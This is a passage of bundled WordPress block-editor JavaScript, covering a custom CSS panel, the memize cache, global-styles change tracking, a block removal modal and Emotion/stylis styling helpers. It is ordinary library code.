64053 inheritedValue = value
64054}) {
64055 const [cssError, setCSSError] = (0,external_wp_element_namespaceObject.useState)(null);
64056 const customCSS = inheritedValue?.css;
64057 function handleOnChange(newValue) {
64058 onChange({
64059 ...value,
64060 css: newValue
64061 });
64062 if (cssError) {
64063 const [transformed] = transform_styles_default(
64064 [{ css: newValue }],
64065 ".for-validation-only"
64066 );
64067 if (transformed) {
64068 setCSSError(null);
64069 }
64070 }
64071 }
64072 function handleOnBlur(event) {
64073 if (!event?.target?.value) {
64074 setCSSError(null);
64075 return;
64076 }
64077 const [transformed] = transform_styles_default(
64078 [{ css: event.target.value }],
64079 ".for-validation-only"
64080 );
64081 setCSSError(
64082 transformed === null ? (0,external_wp_i18n_namespaceObject.__)("There is an error with your CSS structure.") : null
64083 );
64084 }
64085 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
64086 cssError && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "error", onRemove: () => setCSSError(null), children: cssError }),
64087 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64088 external_wp_components_namespaceObject.TextareaControl,
64089 {
64090 label: (0,external_wp_i18n_namespaceObject.__)("Additional CSS"),
64091 __nextHasNoMarginBottom: true,
64092 value: customCSS,
64093 onChange: (newValue) => handleOnChange(newValue),
64094 onBlur: handleOnBlur,
64095 className: "block-editor-global-styles-advanced-panel__custom-css-input",
64096 spellCheck: false
64097 }
64098 )
64099 ] });
64100}
64101
64102
64103;// ./node_modules/memize/dist/index.js
64104/**
64105 * Memize options object.
64106 *
64107 * @typedef MemizeOptions
64108 *
64109 * @property {number} [maxSize] Maximum size of the cache.
64110 */
64111
64112/**
64113 * Internal cache entry.
64114 *
64115 * @typedef MemizeCacheNode
64116 *
64117 * @property {?MemizeCacheNode|undefined} [prev] Previous node.
64118 * @property {?MemizeCacheNode|undefined} [next] Next node.
64119 * @property {Array<*>} args Function arguments for cache
64120 * entry.
64121 * @property {*} val Function result.
64122 */
64123
64124/**
64125 * Properties of the enhanced function for controlling cache.
64126 *
64127 * @typedef MemizeMemoizedFunction
64128 *
64129 * @property {()=>void} clear Clear the cache.
64130 */
64131
64132/**
64133 * Accepts a function to be memoized, and returns a new memoized function, with
64134 * optional options.
64135 *
64136 * @template {(...args: any[]) => any} F
64137 *
64138 * @param {F} fn Function to memoize.
64139 * @param {MemizeOptions} [options] Options object.
64140 *
64141 * @return {((...args: Parameters<F>) => ReturnType<F>) & MemizeMemoizedFunction} Memoized function.
64142 */
64143function memize(fn, options) {
64144 var size = 0;
64145
64146 /** @type {?MemizeCacheNode|undefined} */
64147 var head;
64148
64149 /** @type {?MemizeCacheNode|undefined} */
64150 var tail;
64151
64152 options = options || {};
64153
64154 function memoized(/* ...args */) {
64155 var node = head,
64156 len = arguments.length,
64157 args,
64158 i;
64159
64160 searchCache: while (node) {
64161 // Perform a shallow equality test to confirm that whether the node
64162 // under test is a candidate for the arguments passed. Two arrays
64163 // are shallowly equal if their length matches and each entry is
64164 // strictly equal between the two sets. Avoid abstracting to a
64165 // function which could incur an arguments leaking deoptimization.
64166
64167 // Check whether node arguments match arguments length
64168 if (node.args.length !== arguments.length) {
64169 node = node.next;
64170 continue;
64171 }
64172
64173 // Check whether node arguments match arguments values
64174 for (i = 0; i < len; i++) {
64175 if (node.args[i] !== arguments[i]) {
64176 node = node.next;
64177 continue searchCache;
64178 }
64179 }
64180
64181 // At this point we can assume we've found a match
64182
64183 // Surface matched node to head if not already
64184 if (node !== head) {
64185 // As tail, shift to previous. Must only shift if not also
64186 // head, since if both head and tail, there is no previous.
64187 if (node === tail) {
64188 tail = node.prev;
64189 }
64190
64191 // Adjust siblings to point to each other. If node was tail,
64192 // this also handles new tail's empty `next` assignment.
64193 /** @type {MemizeCacheNode} */ (node.prev).next = node.next;
64194 if (node.next) {
64195 node.next.prev = node.prev;
64196 }
64197
64198 node.next = head;
64199 node.prev = null;
64200 /** @type {MemizeCacheNode} */ (head).prev = node;
64201 head = node;
64202 }
64203
64204 // Return immediately
64205 return node.val;
64206 }
64207
64208 // No cached value found. Continue to insertion phase:
64209
64210 // Create a copy of arguments (avoid leaking deoptimization)
64211 args = new Array(len);
64212 for (i = 0; i < len; i++) {
64213 args[i] = arguments[i];
64214 }
64215
64216 node = {
64217 args: args,
64218
64219 // Generate the result from original function
64220 val: fn.apply(null, args),
64221 };
64222
64223 // Don't need to check whether node is already head, since it would
64224 // have been returned above already if it was
64225
64226 // Shift existing head down list
64227 if (head) {
64228 head.prev = node;
64229 node.next = head;
64230 } else {
64231 // If no head, follows that there's no tail (at initial or reset)
64232 tail = node;
64233 }
64234
64235 // Trim tail if we're reached max size and are pending cache insertion
64236 if (size === /** @type {MemizeOptions} */ (options).maxSize) {
64237 tail = /** @type {MemizeCacheNode} */ (tail).prev;
64238 /** @type {MemizeCacheNode} */ (tail).next = null;
64239 } else {
64240 size++;
64241 }
64242
64243 head = node;
64244
64245 return node.val;
64246 }
64247
64248 memoized.clear = function () {
64249 head = null;
64250 tail = null;
64251 size = 0;
64252 };
64253
64254 // Ignore reason: There's not a clear solution to create an intersection of
64255 // the function with additional properties, where the goal is to retain the
64256 // function signature of the incoming argument and add control properties
64257 // on the return value.
64258
64259 // @ts-ignore
64260 return memoized;
64261}
64262
64263
64264
64265;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/get-global-styles-changes.js
64266
64267
64268
64269const globalStylesChangesCache = /* @__PURE__ */ new Map();
64270const get_global_styles_changes_EMPTY_ARRAY = [];
64271const translationMap = {
64272 caption: (0,external_wp_i18n_namespaceObject.__)("Caption"),
64273 link: (0,external_wp_i18n_namespaceObject.__)("Link"),
64274 button: (0,external_wp_i18n_namespaceObject.__)("Button"),
64275 heading: (0,external_wp_i18n_namespaceObject.__)("Heading"),
64276 h1: (0,external_wp_i18n_namespaceObject.__)("H1"),
64277 h2: (0,external_wp_i18n_namespaceObject.__)("H2"),
64278 h3: (0,external_wp_i18n_namespaceObject.__)("H3"),
64279 h4: (0,external_wp_i18n_namespaceObject.__)("H4"),
64280 h5: (0,external_wp_i18n_namespaceObject.__)("H5"),
64281 h6: (0,external_wp_i18n_namespaceObject.__)("H6"),
64282 "settings.color": (0,external_wp_i18n_namespaceObject.__)("Color"),
64283 "settings.typography": (0,external_wp_i18n_namespaceObject.__)("Typography"),
64284 "settings.shadow": (0,external_wp_i18n_namespaceObject.__)("Shadow"),
64285 "settings.layout": (0,external_wp_i18n_namespaceObject.__)("Layout"),
64286 "styles.color": (0,external_wp_i18n_namespaceObject.__)("Colors"),
64287 "styles.spacing": (0,external_wp_i18n_namespaceObject.__)("Spacing"),
64288 "styles.background": (0,external_wp_i18n_namespaceObject.__)("Background"),
64289 "styles.typography": (0,external_wp_i18n_namespaceObject.__)("Typography")
64290};
64291const getBlockNames = memize(
64292 () => (0,external_wp_blocks_namespaceObject.getBlockTypes)().reduce((accumulator, { name, title }) => {
64293 accumulator[name] = title;
64294 return accumulator;
64295 }, {})
64296);
64297const isObject = (obj) => obj !== null && typeof obj === "object";
64298function getTranslation(key) {
64299 if (translationMap[key]) {
64300 return translationMap[key];
64301 }
64302 const keyArray = key.split(".");
64303 if (keyArray?.[0] === "blocks") {
64304 const blockName = getBlockNames()?.[keyArray[1]];
64305 return blockName || keyArray[1];
64306 }
64307 if (keyArray?.[0] === "elements") {
64308 return translationMap[keyArray[1]] || keyArray[1];
64309 }
64310 return void 0;
64311}
64312function deepCompare(changedObject, originalObject, parentPath = "") {
64313 if (!isObject(changedObject) && !isObject(originalObject)) {
64314 return changedObject !== originalObject ? parentPath.split(".").slice(0, 2).join(".") : void 0;
64315 }
64316 changedObject = isObject(changedObject) ? changedObject : {};
64317 originalObject = isObject(originalObject) ? originalObject : {};
64318 const allKeys = /* @__PURE__ */ new Set([
64319 ...Object.keys(changedObject),
64320 ...Object.keys(originalObject)
64321 ]);
64322 let diffs = [];
64323 for (const key of allKeys) {
64324 const path = parentPath ? parentPath + "." + key : key;
64325 const changedPath = deepCompare(
64326 changedObject[key],
64327 originalObject[key],
64328 path
64329 );
64330 if (changedPath) {
64331 diffs = diffs.concat(changedPath);
64332 }
64333 }
64334 return diffs;
64335}
64336function getGlobalStylesChangelist(next, previous) {
64337 const cacheKey = JSON.stringify({ next, previous });
64338 if (globalStylesChangesCache.has(cacheKey)) {
64339 return globalStylesChangesCache.get(cacheKey);
64340 }
64341 const changedValueTree = deepCompare(
64342 {
64343 styles: {
64344 background: next?.styles?.background,
64345 color: next?.styles?.color,
64346 typography: next?.styles?.typography,
64347 spacing: next?.styles?.spacing
64348 },
64349 blocks: next?.styles?.blocks,
64350 elements: next?.styles?.elements,
64351 settings: next?.settings
64352 },
64353 {
64354 styles: {
64355 background: previous?.styles?.background,
64356 color: previous?.styles?.color,
64357 typography: previous?.styles?.typography,
64358 spacing: previous?.styles?.spacing
64359 },
64360 blocks: previous?.styles?.blocks,
64361 elements: previous?.styles?.elements,
64362 settings: previous?.settings
64363 }
64364 );
64365 if (!changedValueTree.length) {
64366 globalStylesChangesCache.set(cacheKey, get_global_styles_changes_EMPTY_ARRAY);
64367 return get_global_styles_changes_EMPTY_ARRAY;
64368 }
64369 const result = [...new Set(changedValueTree)].reduce((acc, curr) => {
64370 const translation = getTranslation(curr);
64371 if (translation) {
64372 acc.push([curr.split(".")[0], translation]);
64373 }
64374 return acc;
64375 }, []);
64376 globalStylesChangesCache.set(cacheKey, result);
64377 return result;
64378}
64379function getGlobalStylesChanges(next, previous, options = {}) {
64380 let changeList = getGlobalStylesChangelist(next, previous);
64381 const changesLength = changeList.length;
64382 const { maxResults } = options;
64383 if (changesLength) {
64384 if (!!maxResults && changesLength > maxResults) {
64385 changeList = changeList.slice(0, maxResults);
64386 }
64387 return Object.entries(
64388 changeList.reduce((acc, curr) => {
64389 const group = acc[curr[0]] || [];
64390 if (!group.includes(curr[1])) {
64391 acc[curr[0]] = [...group, curr[1]];
64392 }
64393 return acc;
64394 }, {})
64395 ).map(([key, changeValues]) => {
64396 const changeValuesLength = changeValues.length;
64397 const joinedChangesValue = changeValues.join(
64398 /* translators: Used between list items, there is a space after the comma. */
64399 (0,external_wp_i18n_namespaceObject.__)(", ")
64400 // eslint-disable-line @wordpress/i18n-no-flanking-whitespace
64401 );
64402 switch (key) {
64403 case "blocks": {
64404 return (0,external_wp_i18n_namespaceObject.sprintf)(
64405 // translators: %s: a list of block names separated by a comma.
64406 (0,external_wp_i18n_namespaceObject._n)("%s block.", "%s blocks.", changeValuesLength),
64407 joinedChangesValue
64408 );
64409 }
64410 case "elements": {
64411 return (0,external_wp_i18n_namespaceObject.sprintf)(
64412 // translators: %s: a list of element names separated by a comma.
64413 (0,external_wp_i18n_namespaceObject._n)("%s element.", "%s elements.", changeValuesLength),
64414 joinedChangesValue
64415 );
64416 }
64417 case "settings": {
64418 return (0,external_wp_i18n_namespaceObject.sprintf)(
64419 // translators: %s: a list of theme.json setting labels separated by a comma.
64420 (0,external_wp_i18n_namespaceObject.__)("%s settings."),
64421 joinedChangesValue
64422 );
64423 }
64424 case "styles": {
64425 return (0,external_wp_i18n_namespaceObject.sprintf)(
64426 // translators: %s: a list of theme.json top-level styles labels separated by a comma.
64427 (0,external_wp_i18n_namespaceObject.__)("%s styles."),
64428 joinedChangesValue
64429 );
64430 }
64431 default: {
64432 return (0,external_wp_i18n_namespaceObject.sprintf)(
64433 // translators: %s: a list of global styles changes separated by a comma.
64434 (0,external_wp_i18n_namespaceObject.__)("%s."),
64435 joinedChangesValue
64436 );
64437 }
64438 }
64439 });
64440 }
64441 return get_global_styles_changes_EMPTY_ARRAY;
64442}
64443
64444
64445;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/index.js
64446
64447
64448
64449
64450
64451
64452
64453
64454
64455
64456
64457
64458
64459
64460
64461
64462;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/get-rich-text-values.js
64463
64464
64465
64466
64467
64468
64469function addValuesForElement(element, values, innerBlocks) {
64470 if (null === element || void 0 === element || false === element) {
64471 return;
64472 }
64473 if (Array.isArray(element)) {
64474 return addValuesForElements(element, values, innerBlocks);
64475 }
64476 switch (typeof element) {
64477 case "string":
64478 case "number":
64479 return;
64480 }
64481 const { type, props } = element;
64482 switch (type) {
64483 case external_wp_element_namespaceObject.StrictMode:
64484 case external_wp_element_namespaceObject.Fragment:
64485 return addValuesForElements(props.children, values, innerBlocks);
64486 case external_wp_element_namespaceObject.RawHTML:
64487 return;
64488 case inner_blocks_default.Content:
64489 return addValuesForBlocks(values, innerBlocks);
64490 case Content:
64491 values.push(props.value);
64492 return;
64493 }
64494 switch (typeof type) {
64495 case "string":
64496 if (typeof props.children !== "undefined") {
64497 return addValuesForElements(
64498 props.children,
64499 values,
64500 innerBlocks
64501 );
64502 }
64503 return;
64504 case "function":
64505 const el = type.prototype && typeof type.prototype.render === "function" ? new type(props).render() : type(props);
64506 return addValuesForElement(el, values, innerBlocks);
64507 }
64508}
64509function addValuesForElements(children, ...args) {
64510 children = Array.isArray(children) ? children : [children];
64511 for (let i = 0; i < children.length; i++) {
64512 addValuesForElement(children[i], ...args);
64513 }
64514}
64515function addValuesForBlocks(values, blocks) {
64516 for (let i = 0; i < blocks.length; i++) {
64517 const { name, attributes, innerBlocks } = blocks[i];
64518 const saveElement = (0,external_wp_blocks_namespaceObject.getSaveElement)(
64519 name,
64520 attributes,
64521 // Instead of letting save elements use `useInnerBlocksProps.save`,
64522 // force them to use InnerBlocks.Content instead so we can intercept
64523 // a single component.
64524 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inner_blocks_default.Content, {})
64525 );
64526 addValuesForElement(saveElement, values, innerBlocks);
64527 }
64528}
64529function getRichTextValues(blocks = []) {
64530 external_wp_blocks_namespaceObject.__unstableGetBlockProps.skipFilters = true;
64531 const values = [];
64532 addValuesForBlocks(values, blocks);
64533 external_wp_blocks_namespaceObject.__unstableGetBlockProps.skipFilters = false;
64534 return values.map(
64535 (value) => value instanceof external_wp_richText_namespaceObject.RichTextData ? value : external_wp_richText_namespaceObject.RichTextData.fromHTMLString(value)
64536 );
64537}
64538
64539
64540;// ./node_modules/@wordpress/block-editor/build-module/components/resizable-box-popover/index.js
64541
64542
64543
64544function ResizableBoxPopover({
64545 clientId,
64546 resizableBoxProps,
64547 ...props
64548}) {
64549 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64550 cover_default,
64551 {
64552 clientId,
64553 __unstablePopoverSlot: "block-toolbar",
64554 ...props,
64555 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ResizableBox, { ...resizableBoxProps })
64556 }
64557 );
64558}
64559
64560
64561;// ./node_modules/@wordpress/block-editor/build-module/components/block-removal-warning-modal/index.js
64562
64563
64564
64565
64566
64567
64568
64569function BlockRemovalWarningModal({ rules }) {
64570 const { clientIds, selectPrevious, message } = (0,external_wp_data_namespaceObject.useSelect)(
64571 (select) => unlock(select(store)).getRemovalPromptData()
64572 );
64573 const {
64574 clearBlockRemovalPrompt,
64575 setBlockRemovalRules,
64576 privateRemoveBlocks
64577 } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
64578 (0,external_wp_element_namespaceObject.useEffect)(() => {
64579 setBlockRemovalRules(rules);
64580 return () => {
64581 setBlockRemovalRules();
64582 };
64583 }, [rules, setBlockRemovalRules]);
64584 if (!message) {
64585 return;
64586 }
64587 const onConfirmRemoval = () => {
64588 privateRemoveBlocks(
64589 clientIds,
64590 selectPrevious,
64591 /* force */
64592 true
64593 );
64594 clearBlockRemovalPrompt();
64595 };
64596 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
64597 external_wp_components_namespaceObject.Modal,
64598 {
64599 title: (0,external_wp_i18n_namespaceObject.__)("Be careful!"),
64600 onRequestClose: clearBlockRemovalPrompt,
64601 size: "medium",
64602 children: [
64603 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: message }),
64604 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
64605 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64606 external_wp_components_namespaceObject.Button,
64607 {
64608 variant: "tertiary",
64609 onClick: clearBlockRemovalPrompt,
64610 __next40pxDefaultSize: true,
64611 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
64612 }
64613 ),
64614 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64615 external_wp_components_namespaceObject.Button,
64616 {
64617 variant: "primary",
64618 onClick: onConfirmRemoval,
64619 __next40pxDefaultSize: true,
64620 children: (0,external_wp_i18n_namespaceObject.__)("Delete")
64621 }
64622 )
64623 ] })
64624 ]
64625 }
64626 );
64627}
64628
64629
64630;// ./node_modules/@wordpress/block-editor/build-module/components/dimensions-tool/scale-tool.js
64631
64632
64633
64634
64635const DEFAULT_SCALE_OPTIONS = [
64636 {
64637 value: "fill",
64638 label: (0,external_wp_i18n_namespaceObject._x)("Fill", "Scale option for dimensions control"),
64639 help: (0,external_wp_i18n_namespaceObject.__)("Fill the space by stretching the content.")
64640 },
64641 {
64642 value: "contain",
64643 label: (0,external_wp_i18n_namespaceObject._x)("Contain", "Scale option for dimensions control"),
64644 help: (0,external_wp_i18n_namespaceObject.__)("Fit the content to the space without clipping.")
64645 },
64646 {
64647 value: "cover",
64648 label: (0,external_wp_i18n_namespaceObject._x)("Cover", "Scale option for dimensions control"),
64649 help: (0,external_wp_i18n_namespaceObject.__)("Fill the space by clipping what doesn't fit.")
64650 },
64651 {
64652 value: "none",
64653 label: (0,external_wp_i18n_namespaceObject._x)("None", "Scale option for dimensions control"),
64654 help: (0,external_wp_i18n_namespaceObject.__)(
64655 "Do not adjust the sizing of the content. Content that is too large will be clipped, and content that is too small will have additional padding."
64656 )
64657 },
64658 {
64659 value: "scale-down",
64660 label: (0,external_wp_i18n_namespaceObject._x)("Scale down", "Scale option for dimensions control"),
64661 help: (0,external_wp_i18n_namespaceObject.__)(
64662 "Scale down the content to fit the space if it is too big. Content that is too small will have additional padding."
64663 )
64664 }
64665];
64666function ScaleTool({
64667 panelId,
64668 value,
64669 onChange,
64670 options = DEFAULT_SCALE_OPTIONS,
64671 defaultValue = DEFAULT_SCALE_OPTIONS[0].value,
64672 isShownByDefault = true
64673}) {
64674 const displayValue = value ?? "fill";
64675 const scaleHelp = (0,external_wp_element_namespaceObject.useMemo)(() => {
64676 return options.reduce((acc, option) => {
64677 acc[option.value] = option.help;
64678 return acc;
64679 }, {});
64680 }, [options]);
64681 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64682 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
64683 {
64684 label: (0,external_wp_i18n_namespaceObject.__)("Scale"),
64685 isShownByDefault,
64686 hasValue: () => displayValue !== defaultValue,
64687 onDeselect: () => onChange(defaultValue),
64688 panelId,
64689 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64690 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
64691 {
64692 __nextHasNoMarginBottom: true,
64693 label: (0,external_wp_i18n_namespaceObject.__)("Scale"),
64694 isBlock: true,
64695 help: scaleHelp[displayValue],
64696 value: displayValue,
64697 onChange,
64698 size: "__unstable-large",
64699 children: options.map((option) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
64700 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
64701 {
64702 ...option
64703 },
64704 option.value
64705 ))
64706 }
64707 )
64708 }
64709 );
64710}
64711
64712
64713;// ./node_modules/@babel/runtime/helpers/esm/extends.js
64714function extends_extends() {
64715 return extends_extends = Object.assign ? Object.assign.bind() : function (n) {
64716 for (var e = 1; e < arguments.length; e++) {
64717 var t = arguments[e];
64718 for (var r in t) ({}).hasOwnProperty.call(t, r) && (n[r] = t[r]);
64719 }
64720 return n;
64721 }, extends_extends.apply(null, arguments);
64722}
64723
64724;// ./node_modules/@emotion/memoize/dist/emotion-memoize.esm.js
64725function memoize(fn) {
64726 var cache = Object.create(null);
64727 return function (arg) {
64728 if (cache[arg] === undefined) cache[arg] = fn(arg);
64729 return cache[arg];
64730 };
64731}
64732
64733
64734
64735;// ./node_modules/@emotion/styled/node_modules/@emotion/is-prop-valid/dist/emotion-is-prop-valid.esm.js
64736
64737
64738var reactPropsRegex = /^((children|dangerouslySetInnerHTML|key|ref|autoFocus|defaultValue|defaultChecked|innerHTML|suppressContentEditableWarning|suppressHydrationWarning|valueLink|abbr|accept|acceptCharset|accessKey|action|allow|allowUserMedia|allowPaymentRequest|allowFullScreen|allowTransparency|alt|async|autoComplete|autoPlay|capture|cellPadding|cellSpacing|challenge|charSet|checked|cite|classID|className|cols|colSpan|content|contentEditable|contextMenu|controls|controlsList|coords|crossOrigin|data|dateTime|decoding|default|defer|dir|disabled|disablePictureInPicture|download|draggable|encType|enterKeyHint|form|formAction|formEncType|formMethod|formNoValidate|formTarget|frameBorder|headers|height|hidden|high|href|hrefLang|htmlFor|httpEquiv|id|inputMode|integrity|is|keyParams|keyType|kind|label|lang|list|loading|loop|low|marginHeight|marginWidth|max|maxLength|media|mediaGroup|method|min|minLength|multiple|muted|name|nonce|noValidate|open|optimum|pattern|placeholder|playsInline|poster|preload|profile|radioGroup|readOnly|referrerPolicy|rel|required|reversed|role|rows|rowSpan|sandbox|scope|scoped|scrolling|seamless|selected|shape|size|sizes|slot|span|spellCheck|src|srcDoc|srcLang|srcSet|start|step|style|summary|tabIndex|target|title|translate|type|useMap|value|width|wmode|wrap|about|datatype|inlist|prefix|property|resource|typeof|vocab|autoCapitalize|autoCorrect|autoSave|color|incremental|fallback|inert|itemProp|itemScope|itemType|itemID|itemRef|on|option|results|security|unselectable|accentHeight|accumulate|additive|alignmentBaseline|allowReorder|alphabetic|amplitude|arabicForm|ascent|attributeName|attributeType|autoReverse|azimuth|baseFrequency|baselineShift|baseProfile|bbox|begin|bias|by|calcMode|capHeight|clip|clipPathUnits|clipPath|clipRule|colorInterpolation|colorInterpolationFilters|colorProfile|colorRendering|contentScriptType|contentStyleType|cursor|cx|cy|d|decelerate|descent|diffuseConstant|direction|display|divisor|dominantBaseline|dur|dx|dy|edgeMode|elevation|enableBackground|end|exponent|externalResourcesRequired|fill|fillOpacity|fillRule|filter|filterRes|filterUnits|floodColor|floodOpacity|focusable|fontFamily|fontSize|fontSizeAdjust|fontStretch|fontStyle|fontVariant|fontWeight|format|from|fr|fx|fy|g1|g2|glyphName|glyphOrientationHorizontal|glyphOrientationVertical|glyphRef|gradientTransform|gradientUnits|hanging|horizAdvX|horizOriginX|ideographic|imageRendering|in|in2|intercept|k|k1|k2|k3|k4|kernelMatrix|kernelUnitLength|kerning|keyPoints|keySplines|keyTimes|lengthAdjust|letterSpacing|lightingColor|limitingConeAngle|local|markerEnd|markerMid|markerStart|markerHeight|markerUnits|markerWidth|mask|maskContentUnits|maskUnits|mathematical|mode|numOctaves|offset|opacity|operator|order|orient|orientation|origin|overflow|overlinePosition|overlineThickness|panose1|paintOrder|pathLength|patternContentUnits|patternTransform|patternUnits|pointerEvents|points|pointsAtX|pointsAtY|pointsAtZ|preserveAlpha|preserveAspectRatio|primitiveUnits|r|radius|refX|refY|renderingIntent|repeatCount|repeatDur|requiredExtensions|requiredFeatures|restart|result|rotate|rx|ry|scale|seed|shapeRendering|slope|spacing|specularConstant|specularExponent|speed|spreadMethod|startOffset|stdDeviation|stemh|stemv|stitchTiles|stopColor|stopOpacity|strikethroughPosition|strikethroughThickness|string|stroke|strokeDasharray|strokeDashoffset|strokeLinecap|strokeLinejoin|strokeMiterlimit|strokeOpacity|strokeWidth|surfaceScale|systemLanguage|tableValues|targetX|targetY|textAnchor|textDecoration|textRendering|textLength|to|transform|u1|u2|underlinePosition|underlineThickness|unicode|unicodeBidi|unicodeRange|unitsPerEm|vAlphabetic|vHanging|vIdeographic|vMathematical|values|vectorEffect|version|vertAdvY|vertOriginX|vertOriginY|viewBox|viewTarget|visibility|widths|wordSpacing|writingMode|x|xHeight|x1|x2|xChannelSelector|xlinkActuate|xlinkArcrole|xlinkHref|xlinkRole|xlinkShow|xlinkTitle|xlinkType|xmlBase|xmlns|xmlnsXlink|xmlLang|xmlSpace|y|y1|y2|yChannelSelector|z|zoomAndPan|for|class|autofocus)|(([Dd][Aa][Tt][Aa]|[Aa][Rr][Ii][Aa]|x)-.*))$/; // https://esbench.com/bench/5bfee68a4cd7e6009ef61d23
64739
64740var isPropValid = /* #__PURE__ */memoize(function (prop) {
64741 return reactPropsRegex.test(prop) || prop.charCodeAt(0) === 111
64742 /* o */
64743 && prop.charCodeAt(1) === 110
64744 /* n */
64745 && prop.charCodeAt(2) < 91;
64746}
64747/* Z+1 */
64748);
64749
64750
64751
64752;// ./node_modules/@emotion/sheet/dist/emotion-sheet.browser.esm.js
64753/*
64754
64755Based off glamor's StyleSheet, thanks Sunil ❤️
64756
64757high performance StyleSheet for css-in-js systems
64758
64759- uses multiple style tags behind the scenes for millions of rules
64760- uses `insertRule` for appending in production for *much* faster performance
64761
64762// usage
64763
64764import { StyleSheet } from '@emotion/sheet'
64765
64766let styleSheet = new StyleSheet({ key: '', container: document.head })
64767
64768styleSheet.insert('#box { border: 1px solid red; }')
64769- appends a css rule into the stylesheet
64770
64771styleSheet.flush()
64772- empties the stylesheet of all its contents
64773
64774*/
64775// $FlowFixMe
64776function sheetForTag(tag) {
64777 if (tag.sheet) {
64778 // $FlowFixMe
64779 return tag.sheet;
64780 } // this weirdness brought to you by firefox
64781
64782 /* istanbul ignore next */
64783
64784
64785 for (var i = 0; i < document.styleSheets.length; i++) {
64786 if (document.styleSheets[i].ownerNode === tag) {
64787 // $FlowFixMe
64788 return document.styleSheets[i];
64789 }
64790 }
64791}
64792
64793function createStyleElement(options) {
64794 var tag = document.createElement('style');
64795 tag.setAttribute('data-emotion', options.key);
64796
64797 if (options.nonce !== undefined) {
64798 tag.setAttribute('nonce', options.nonce);
64799 }
64800
64801 tag.appendChild(document.createTextNode(''));
64802 tag.setAttribute('data-s', '');
64803 return tag;
64804}
64805
64806var StyleSheet = /*#__PURE__*/function () {
64807 // Using Node instead of HTMLElement since container may be a ShadowRoot
64808 function StyleSheet(options) {
64809 var _this = this;
64810
64811 this._insertTag = function (tag) {
64812 var before;
64813
64814 if (_this.tags.length === 0) {
64815 if (_this.insertionPoint) {
64816 before = _this.insertionPoint.nextSibling;
64817 } else if (_this.prepend) {
64818 before = _this.container.firstChild;
64819 } else {
64820 before = _this.before;
64821 }
64822 } else {
64823 before = _this.tags[_this.tags.length - 1].nextSibling;
64824 }
64825
64826 _this.container.insertBefore(tag, before);
64827
64828 _this.tags.push(tag);
64829 };
64830
64831 this.isSpeedy = options.speedy === undefined ? "production" === 'production' : options.speedy;
64832 this.tags = [];
64833 this.ctr = 0;
64834 this.nonce = options.nonce; // key is the value of the data-emotion attribute, it's used to identify different sheets
64835
64836 this.key = options.key;
64837 this.container = options.container;
64838 this.prepend = options.prepend;
64839 this.insertionPoint = options.insertionPoint;
64840 this.before = null;
64841 }
64842
64843 var _proto = StyleSheet.prototype;
64844
64845 _proto.hydrate = function hydrate(nodes) {
64846 nodes.forEach(this._insertTag);
64847 };
64848
64849 _proto.insert = function insert(rule) {
64850 // the max length is how many rules we have per style tag, it's 65000 in speedy mode
64851 // it's 1 in dev because we insert source maps that map a single rule to a location
64852 // and you can only have one source map per style tag
64853 if (this.ctr % (this.isSpeedy ? 65000 : 1) === 0) {
64854 this._insertTag(createStyleElement(this));
64855 }
64856
64857 var tag = this.tags[this.tags.length - 1];
64858
64859 if (false) { var isImportRule; }
64860
64861 if (this.isSpeedy) {
64862 var sheet = sheetForTag(tag);
64863
64864 try {
64865 // this is the ultrafast version, works across browsers
64866 // the big drawback is that the css won't be editable in devtools
64867 sheet.insertRule(rule, sheet.cssRules.length);
64868 } catch (e) {
64869 if (false) {}
64870 }
64871 } else {
64872 tag.appendChild(document.createTextNode(rule));
64873 }
64874
64875 this.ctr++;
64876 };
64877
64878 _proto.flush = function flush() {
64879 // $FlowFixMe
64880 this.tags.forEach(function (tag) {
64881 return tag.parentNode && tag.parentNode.removeChild(tag);
64882 });
64883 this.tags = [];
64884 this.ctr = 0;
64885
64886 if (false) {}
64887 };
64888
64889 return StyleSheet;
64890}();
64891
64892
64893
64894;// ./node_modules/stylis/src/Utility.js
64895/**
64896 * @param {number}
64897 * @return {number}
64898 */
64899var abs = Math.abs
64900
64901/**
64902 * @param {number}
64903 * @return {string}
64904 */
64905var Utility_from = String.fromCharCode
64906
64907/**
64908 * @param {object}
64909 * @return {object}
64910 */
64911var Utility_assign = Object.assign
64912
64913/**
64914 * @param {string} value
64915 * @param {number} length
64916 * @return {number}
64917 */
64918function hash (value, length) {
64919 return Utility_charat(value, 0) ^ 45 ? (((((((length << 2) ^ Utility_charat(value, 0)) << 2) ^ Utility_charat(value, 1)) << 2) ^ Utility_charat(value, 2)) << 2) ^ Utility_charat(value, 3) : 0
64920}
64921
64922/**
64923 * @param {string} value
64924 * @return {string}
64925 */
64926function trim (value) {
64927 return value.trim()
64928}
64929
64930/**
64931 * @param {string} value
64932 * @param {RegExp} pattern
64933 * @return {string?}
64934 */
64935function Utility_match (value, pattern) {
64936 return (value = pattern.exec(value)) ? value[0] : value
64937}
64938
64939/**
64940 * @param {string} value
